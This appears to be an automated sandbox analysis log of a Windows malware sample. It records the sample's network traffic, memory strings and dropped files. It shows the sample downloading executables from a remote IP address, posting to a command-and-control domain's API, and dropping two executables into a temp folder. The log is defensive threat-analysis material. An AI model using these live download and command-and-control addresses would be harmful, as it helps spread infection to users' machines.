Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: observerfry.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: ABnDy7rLFS.exe, 00000000.00000003.1683889037.0000000000E14000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: ABnDy7rLFS.exe, 00000000.00000003.1683889037.0000000000E14000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Z
Source: ABnDy7rLFS.exe, 00000000.00000003.1683851235.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe1d
Source: ABnDy7rLFS.exe, 00000000.00000003.1683772738.0000000000E01000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683811661.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/(
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/b
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: ABnDy7rLFS.exe, 00000000.00000003.1501493873.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1427533159.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1570453711.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1552863640.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683772738.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: ABnDy7rLFS.exe, 00000000.00000003.1570333050.0000000000E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/:aV
Source: ABnDy7rLFS.exe, 00000000.00000003.1683851235.0000000000E21000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/Jb
Source: ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1552863640.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: ABnDy7rLFS.exe, 00000000.00000003.1552764498.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1501437599.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiDeHl
Source: ABnDy7rLFS.exe, 00000000.00000003.1570453711.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiI
Source: ABnDy7rLFS.exe, 00000000.00000003.1552863640.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apix
Source: ABnDy7rLFS.exe, 00000000.00000003.1427533159.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiz
Source: ABnDy7rLFS.exe, 00000000.00000003.1427533159.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/d
Source: ABnDy7rLFS.exe, 00000000.00000003.1552974521.0000000000E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/piBc
Source: ABnDy7rLFS.exe, 00000000.00000003.1683851235.0000000000E21000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/piRc
Source: ABnDy7rLFS.exe, 00000000.00000003.1570333050.0000000000E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/piZc
Source: ABnDy7rLFS.exe, 00000000.00000003.1552764498.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1501437599.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/w
Source: ABnDy7rLFS.exe, 00000000.00000003.1570333050.0000000000E12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api
Source: ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49715 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: ABnDy7rLFS.exe	Static PE information: section name:
Source: ABnDy7rLFS.exe	Static PE information: section name: .idata
Source: ABnDy7rLFS.exe	Static PE information: section name:
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe.0.dr	Static PE information: section name:
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe.0.dr	Static PE information: section name: .idata
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.0.dr	Static PE information: section name:
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DC5BC9	0_3_00DC5BC9
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DC68CB	0_3_00DC68CB
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DC377F	0_3_00DC377F
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Code function: 3_2_0021E2EE	3_2_0021E2EE

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe 3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D

Source: ABnDy7rLFS.exe, 00000000.00000003.1647560651.0000000005B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1649902254.0000000005CF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1658500871.0000000005DB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1650458540.0000000005C50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1655741289.0000000005C7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1653024671.0000000005B87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1655479139.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1658036386.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1661848628.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1642420524.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1661355054.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1651204204.0000000005B87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1644295873.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1662663893.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1647906887.0000000005B87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1656823967.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1663015365.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1651502859.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1659121680.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1650716645.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1663542717.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1654088932.0000000005C84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1647205842.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1664750973.0000000005E10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1650337170.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
